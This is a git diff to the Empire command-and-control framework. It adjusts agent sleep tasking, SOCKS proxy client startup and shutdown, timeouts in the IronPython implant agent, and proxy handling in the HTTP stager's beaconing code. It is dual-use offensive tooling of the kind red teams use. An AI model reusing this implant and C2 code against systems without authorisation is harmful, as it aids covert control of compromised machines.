diff --git a/empire/client/src/menus/InteractMenu.py b/empire/client/src/menus/InteractMenu.py index 6546b369c..0f988e049 100644 --- a/empire/client/src/menus/InteractMenu.py +++ b/empire/client/src/menus/InteractMenu.py @@ -293,7 +293,13 @@ def sleep(self, delay: int, jitter: int) -> None: """ response = state.agent_sleep(self.session_id, delay, jitter) log.info(f"Tasked agent to sleep delay/jitter {delay}/{jitter}") - log.info("Tasked " + self.selected + " to run Task " + str(response["id"])) + if "id" in response: + log.info( + "[*] Tasked " + self.session_id + " to run Task " + str(response["id"]) + ) + + elif "detail" in response.keys(): + log.error("[!] Error: " + response["detail"]) @command def info(self) -> None: diff --git a/empire/server/core/agent_service.py b/empire/server/core/agent_service.py index 28f69f1be..ef10e527f 100644 --- a/empire/server/core/agent_service.py +++ b/empire/server/core/agent_service.py @@ -5,7 +5,7 @@ from sqlalchemy.orm import Session from empire.server.common.helpers import KThread -from empire.server.common.socks import start_client +from empire.server.common.socks import create_client, start_client from empire.server.core.agent_task_service import AgentTaskService from empire.server.core.db import models from empire.server.core.db.base import SessionLocal @@ -63,16 +63,17 @@ def start_existing_socks(self, db: Session, agent: models.Agent): log.info(f"Starting SOCKS client for {agent.session_id}") try: self.main_menu.agents.socksqueue[agent.session_id] = queue.Queue() + client = create_client( + self.main_menu, + self.main_menu.agents.socksqueue[agent.session_id], + agent.session_id, + ) self.main_menu.agents.socksthread[agent.session_id] = KThread( target=start_client, - args=( - self.main_menu.agenttasksv2, - self.main_menu.agents.socksqueue[agent.session_id], - agent.session_id, - agent.socks_port, - ), + args=(client, agent.socks_port), ) + self.main_menu.agents.socksclient[agent.session_id] = client self.main_menu.agents.socksthread[agent.session_id].daemon = True self.main_menu.agents.socksthread[agent.session_id].start() log.info(f'SOCKS client for "{agent.name}" successfully started') diff --git a/empire/server/core/agent_task_service.py b/empire/server/core/agent_task_service.py index c93f83ff7..5888b8b64 100644 --- a/empire/server/core/agent_task_service.py +++ b/empire/server/core/agent_task_service.py @@ -1,6 +1,7 @@ import json import logging import threading +import time from collections import defaultdict from datetime import datetime from typing import Dict, List, Optional, Tuple @@ -185,6 +186,12 @@ def create_task_exit(self, db, agent: models.Agent, current_user_id: int): resp, err = self.add_task(db, agent, "TASK_EXIT", user_id=current_user_id) agent.archived = True + # Close socks client + if (agent.session_id in self.main_menu.agents.socksthread) and agent.stale: + agent.socks = False + self.main_menu.agents.socksclient[agent.session_id].shutdown() + time.sleep(1) + self.main_menu.agents.socksthread[agent.session_id].kill() return resp, err def create_task_socks( @@ -235,7 +242,7 @@ def create_task_update_sleep( f"Set-Delay {str(delay)} {str(jitter)}", user_id=user_id, ) - elif agent.language == "python": + elif agent.language in ["python", "ironpython"]: return self.add_task( db, agent, diff --git a/empire/server/csharp/Covenant/Data/EmbeddedResources/Lib.zip b/empire/server/csharp/Covenant/Data/EmbeddedResources/Lib.zip index 96c04b0ff..ad602c4c5 100644 Binary files a/empire/server/csharp/Covenant/Data/EmbeddedResources/Lib.zip and b/empire/server/csharp/Covenant/Data/EmbeddedResources/Lib.zip differ diff --git a/empire/server/data/agent/ironpython_agent.py b/empire/server/data/agent/ironpython_agent.py index b67e295e7..a0f1d8a4a 100644 --- a/empire/server/data/agent/ironpython_agent.py +++ b/empire/server/data/agent/ironpython_agent.py @@ -257,7 +257,6 @@ def process_tasking(data): except Exception as e: print(e) - # print "processTasking exception:",e pass @@ -1006,7 +1005,7 @@ def recv(self): def write(self): while self.alive: try: - data = self.writebuf.get(timeout=3) + data = self.writebuf.get(timeout=10) send_message( build_response_packet( 61, base64.b64encode(data).decode("UTF-8"), self.resultID @@ -1014,6 +1013,8 @@ def write(self): ) except Queue.Empty: continue + except: + self.alive = False ################################################ diff --git a/empire/server/data/agent/stagers/http/comms.py b/empire/server/data/agent/stagers/http/comms.py index e49eb0413..917f589df 100644 --- a/empire/server/data/agent/stagers/http/comms.py +++ b/empire/server/data/agent/stagers/http/comms.py @@ -33,7 +33,8 @@ def send_message(packets=None): requestUri = server + taskURI try: - wrapmodule(urllib.request) + if proxy_list: + wrapmodule(urllib.request) data = (urllib.request.urlopen(urllib.request.Request(requestUri, data, headers))).read() return ('200', data)